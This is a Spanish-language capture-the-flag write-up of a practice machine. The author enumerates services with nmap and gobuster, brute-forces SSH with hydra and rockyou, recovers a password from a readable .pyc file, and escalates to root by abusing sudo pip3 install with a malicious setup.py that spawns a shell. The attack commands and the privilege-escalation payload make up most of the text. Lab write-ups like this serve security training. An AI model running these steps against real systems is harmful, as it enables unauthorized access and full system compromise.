

Enumeración con NMAP:

```

(kali㉿kali)-[~/Downloads]
└─$ sudo nmap -sVC -p- -T5 -sS -Pn -n --open 172.17.0.2
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 10:47 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  3072 2f:87:50:66:15:23:d6:c3:90:3f:ea:8c:a4:4b:b3:ff (RSA)
|_  256 d1:35:c1:82:09:e8:c2:c7:cd:98:89:61:c2:6b:14:64 (ECDSA)
|_  256 dd:01:45:ce:bd:a3:05:21:5b:31:4c:2f:df:38:c4:f6 (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: 404 Not Found
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds

(kali㉿kali)-[~/Downloads]
└─$

```

HTTP - GOBUSTER

Entramos al notes

```

kali@kali: ~/Downloads
└─$ gobuster dir -u http://172.17.0.2 -w subdomains-top1million-110000.txt -x txt,php,html,bak -t 16

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 16
[+] Wordlist: subdomains-top1million-110000.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,bak
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/notes (Status: 301) [Size: 308] [→ http://172.17.0.2/notes/]
/index.html (Status: 200) [Size: 589]
Progress: 499669 / 572215 (87.32%)
Progress: 548397 / 572215 (95.84%)

```

Tenemos posibles credenciales:

```

Dear developer,
Please remember to change your credentials "dev:developer123" to something
stronger.
I've already warned you that weak passwords can get us compromised.

-Admin

```

Pero despues de probarlas no funcionan, pero una cosa es clara el user sí, vamos a meter un hydra

```

(root@kali)-[/home/kali/Downloads]
# hydra -l dev -P rockyou.txt ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in r
ret service organizations, or for illegal purposes (this is non-binding, these
s and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-09 10:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is rec
duce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p
96525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2  login: dev  password: computer
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-09 10:55

(root@kali)-[/home/kali/Downloads]
#

```

Escalada ssh:

```
(root@kali)-[/home/kali/Downloads]
# ssh dev@172.17.0.2
dev@172.17.0.2's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.12.25-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
dev@1e51d7a0d379:~$ whoami
dev
dev@1e51d7a0d379:~$
```

Voy a buscar archivos que tenga en propiedad admin y que pueda leer

```
dev@1e51d7a0d379:/var/www/html$ find / \( -path /proc -o -path /sys -o -path /dev \) -prune -
o -type f -user admin -readable -print 2>/dev/null
/home/admin/.bashrc
/home/admin/.bash_logout
/home/admin/.profile
/opt/scripts/__pycache__/secret.cpython-38.pyc
dev@1e51d7a0d379:/var/www/html$
```

He usado este comando: `find / \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -user admin -readable -print 2>/dev/null`

Me llama la atención el secret.cpy voy a leerlo a ver que hay

```
dev@1e51d7a0d379:/opt/scripts/__pycache__$ cat secret.cpython-38.pyc
U
ddZdS)cCsd}d}tdoS)NZadminz
pq$$w0r8321zAuthenticating ... )print)usernamepasswordr s
```

Teniendo en cuenta que z era un espacio solo he tenido que hacer su admin y el password

```
dev@1e51d7a0d379:/opt/scripts/__pycache__$ su admin
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@1e51d7a0d379:/opt/scripts/__pycache__$ sudo -l
Matching Defaults entries for admin on 1e51d7a0d379:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on 1e51d7a0d379:
    (ALL) NOPASSWD: /usr/bin/pip3 install *
```

ESCALADA A ROOT:

Tenemos que podemos usar pip3

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(t
sudo pip install $TF
```

Simplemente seguimos los pasos y somos root:

```
admin@1e51d7a0d379:/tmp/pip-req-build-r61wwut_$ echo "import os; os.execl('/bin/sh', 'sh', '-
c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
admin@1e51d7a0d379:/tmp/pip-req-build-r61wwut_$ sudo /usr/bin/pip3 install $TF
Processing /tmp/tmp.471huIsaXY
# whoami
root
# █
```